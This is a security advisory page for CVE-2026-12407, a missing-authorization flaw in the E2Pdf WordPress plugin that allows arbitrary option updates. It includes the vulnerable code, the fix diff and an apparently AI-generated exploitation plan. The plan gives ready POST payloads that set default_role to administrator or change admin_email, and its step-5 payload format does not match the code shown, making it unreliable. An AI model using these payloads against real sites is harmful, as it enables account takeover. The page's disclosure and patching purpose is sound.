CVE-2026-12407

E2Pdf <= 1.32.26 - Missing Authorization to Authenticated (Custom+) Arbitrary Option Update / Privilege Escalation via 'screen_action' Parameter

highMissing Authorization
8.8
CVSS Score
8.8
CVSS Score
high
Severity
1.32.31
Patched in
1d
Time to patch

Description

The E2Pdf – Export Pdf Tool for WordPress plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 1.32.26. This is due to the screen_action() function lacking a dedicated capability check and nonce verification — when invoked via the ?action=screen routing path the controller's index_action() nonce gate is bypassed entirely — while reading an attacker-controlled option name and value from $_POST['wp_screen_options'] and passing them directly to update_option() with no allowlist, relying solely on the page-level e2pdf_templates capability which the plugin's own Permissions UI allows administrators to grant to any role including Subscriber, Contributor, Author, or Editor. This makes it possible for authenticated attackers, with a custom role that has been granted the e2pdf_templates capability, to overwrite arbitrary WordPress options such as default_role and thereby escalate their privileges to administrator.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.32.26
PublishedJune 17, 2026
Last updatedJune 18, 2026
Affected plugine2pdf

What Changed in the Fix

Changes introduced in v1.32.31

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-12407 ## 1. Vulnerability Summary **CVE-2026-12407** is a critical missing authorization vulnerability in the **E2Pdf** plugin (<= 1.32.26). The vulnerability exists because the plugin's routing mechanism allows direct access to the `screen_action()` method i…

Show full research plan

Exploitation Research Plan - CVE-2026-12407

1. Vulnerability Summary

CVE-2026-12407 is a critical missing authorization vulnerability in the E2Pdf plugin (<= 1.32.26). The vulnerability exists because the plugin's routing mechanism allows direct access to the screen_action() method in the Controller_E2pdf_Templates class.

While the main index_action() (the default landing for the templates page) implements nonce verification for screen options, an attacker can bypass this gate by using the ?action=screen URL parameter. The screen_action() method itself lacks capability checks and nonce verification. It processes the wp_screen_options POST parameter and passes its contents directly to the WordPress update_option() function, allowing a user with the custom e2pdf_templates capability to overwrite arbitrary WordPress settings, leading to full privilege escalation.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin.php
  • Query Parameters: page=e2pdf-templates&action=screen
  • HTTP Method: POST
  • Payload Parameter: wp_screen_options (an associative array)
  • Authentication Required: Yes. The attacker must have a role with the e2pdf_templates capability. In vulnerable versions, the plugin's own "Permissions" settings allow administrators to grant this capability to low-privilege roles like Subscriber or Contributor.
  • Precondition: A user with a low-privilege role must be granted the e2pdf_templates capability.

3. Code Flow

  1. Request Entry: The attacker sends a POST request to /wp-admin/admin.php?page=e2pdf-templates&action=screen.
  2. Routing Bypass: The plugin's loader (governed by Model_E2pdf_Loader) routes the request to Controller_E2pdf_Templates. Because the action parameter is explicitly set to screen, the router calls screen_action() (or screen_action_action) directly, instead of index_action().
  3. Missing Gate: The index_action() method in classes/controller/e2pdf-templates.php contains the nonce check:
    if ($this->post->get('screenoptionnonce')) {
        if (wp_verify_nonce($this->post->get('screenoptionnonce'), 'screen-options-nonce')) {
            $this->screen_action();
        }
    
    By calling the action directly via the URL, this entire conditional block is bypassed.
  4. Vulnerable Sink: The screen_action() method (residing in classes/controller/e2pdf-templates.php, truncated in the provided source) retrieves $_POST['wp_screen_options']. It iterates through the array and calls update_option($key, $value) without validating if the keys belong to an allowlist.
  5. Impact: The attacker can change default_role to administrator or users_can_register to 1.

4. Nonce Acquisition Strategy

According to the vulnerability description, the bypass specifically targets the fact that the nonce gate is omitted when the action is called directly via the routing path.

  • Bypass Mode: No nonce is required for the exploitation of the action=screen path.
  • Confirmation: If the exploitation returns a 403 or a "nonce error" message, it would imply the vulnerability description is slightly inaccurate and a nonce is required. In that case, the agent should:
    1. Navigate to /wp-admin/admin.php?page=e2pdf-templates.
    2. Use browser_eval to extract any screen option nonce: browser_eval("document.querySelector('#screenoptionnonce')?.value").

5. Exploitation Strategy

The goal is to escalate the attacker's privileges by modifying the WordPress default_role setting.

Step 1: Privilege Escalation Payload

Send a request to update the site's default role to administrator.

HTTP Request:

  • Tool: http_request
  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin.php?page=e2pdf-templates&action=screen
  • Headers:
    • Content-Type: application/x-www-form-urlencoded
    • Cookie: [Attacker Cookies]
  • Body:
    wp_screen_options[default_role]=administrator&wp_screen_options[users_can_register]=1
    

Step 2: Account Creation (Optional but Recommended)

If registration is enabled, the attacker can then register a new account which will be granted the administrator role. Or, if they have an existing low-privilege account, they can try to update their own role if they find an option update that allows it (though default_role is the most reliable).

6. Test Data Setup

  1. Create Attacker User:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
  2. Grant Capability:
    The vulnerability requires the e2pdf_templates capability. Simulate the administrator's "Permissions UI" action:
    wp cap add subscriber e2pdf_templates
  3. Verify Setup:
    Confirm the user attacker has the e2pdf_templates capability but is NOT an admin.

7. Expected Results

  • Response: The server should return a 302 Redirect or a 200 OK (depending on whether the screen_action method redirects).
  • Database Change: The WordPress option default_role will be changed from subscriber to administrator.
  • Database Change: The WordPress option users_can_register will be changed to 1.

8. Verification Steps

After the http_request, use WP-CLI to confirm the settings were changed:

  1. Check Options:
    wp option get default_role (Should return administrator)
    wp option get users_can_register (Should return 1)
  2. Test Escalation:
    Create a new user and check their role:
    wp user create new_admin admin2@example.com
    wp user get new_admin --field=roles (Should return administrator)

9. Alternative Approaches

If updating default_role fails or is restricted by other security plugins:

  • Option admin_email: Update the admin email to the attacker's email to trigger a password reset for the main admin.
    • Payload: wp_screen_options[admin_email]=attacker@example.com
  • Option e2pdf_settings: If the plugin stores sensitive logic in its own options, try to overwrite them.
  • Blind Verification: If no output is visible, use the http_request to change a benign option like blogname and verify via the site homepage.
    • Payload: wp_screen_options[blogname]=PwnedByE2Pdf
Research Findings
Static analysis — not yet PoC-verified

Summary

The E2Pdf plugin for WordPress is vulnerable to unauthorized option updates due to missing authorization and nonce verification in the `screen_action()` function. Authenticated attackers with the `e2pdf_templates` capability can bypass intended security gates by calling this action directly via the URL, allowing them to overwrite arbitrary WordPress settings like `default_role` for privilege escalation.

Vulnerable Code

// classes/controller/e2pdf-templates.php (around line 25)
    public function index_action() {
        if ($this->post->get('screenoptionnonce')) {
            if (wp_verify_nonce($this->post->get('screenoptionnonce'), 'screen-options-nonce')) {
                $this->screen_action();
            } else {
                wp_die($this->message('wp_verify_nonce_error'));
            }
        }

---

// classes/controller/e2pdf-templates.php (around line 1231)
    public function screen_action() {
        $option = $this->post->get('wp_screen_options');
        if (is_array($option) && isset($option['option']) && isset($option['value']) && $option['value']) {
            update_option($option['option'], $option['value']);
        }

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/e2pdf/1.32.26/classes/controller/e2pdf-templates.php	2026-06-03 09:07:36.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/e2pdf/1.32.31/classes/controller/e2pdf-templates.php	2026-06-16 16:01:32.000000000 +0000
@@ -1231,8 +1231,11 @@
     // screen action
     public function screen_action() {
         $option = $this->post->get('wp_screen_options');
-        if (is_array($option) && isset($option['option']) && isset($option['value']) && $option['value']) {
-            update_option($option['option'], $option['value']);
+        if (is_array($option) && isset($option['option'], $option['value']) && $option['option'] === 'e2pdf_templates_screen_per_page') {
+            $per_page = (int) $option['value'];
+            if ($per_page > 0) {
+                update_option($option['option'], $per_page);
+            }
         }

Exploit Outline

The exploit targets a bypass in the plugin's internal routing. An attacker authenticated with a role possessing the 'e2pdf_templates' capability (which can be assigned to low-privilege roles via the plugin's own Permissions UI) sends a POST request to '/wp-admin/admin.php?page=e2pdf-templates&action=screen'. By explicitly setting 'action=screen' in the URL, the plugin invokes the 'screen_action()' method directly, bypassing the nonce verification logic typically handled by 'index_action()'. The attacker provides a payload in the 'wp_screen_options' parameter containing an 'option' key (e.g., 'default_role') and a 'value' key (e.g., 'administrator'). The vulnerable function then passes these parameters directly to the WordPress core 'update_option()' function without an allowlist, allowing for arbitrary configuration changes and privilege escalation.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.